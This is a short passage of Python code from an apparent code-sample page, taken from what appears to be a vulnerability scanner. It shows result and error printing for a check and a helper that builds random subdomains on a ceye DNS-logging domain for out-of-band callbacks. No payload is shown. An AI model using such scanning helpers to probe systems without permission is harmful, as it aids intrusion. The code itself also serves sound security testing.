                    verify.scan_print(self.vul_info)
            else:
                verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()
Ejemplo n.º 30
0
 def ceye_io():
     ceye_host = globals.get_value("ceye_domain")
     ceye_token = globals.get_value("ceye_token")
     if r"xxxxxx" not in ceye_host:
         dns_host = random_md5() + "." + ceye_host
         return dns_host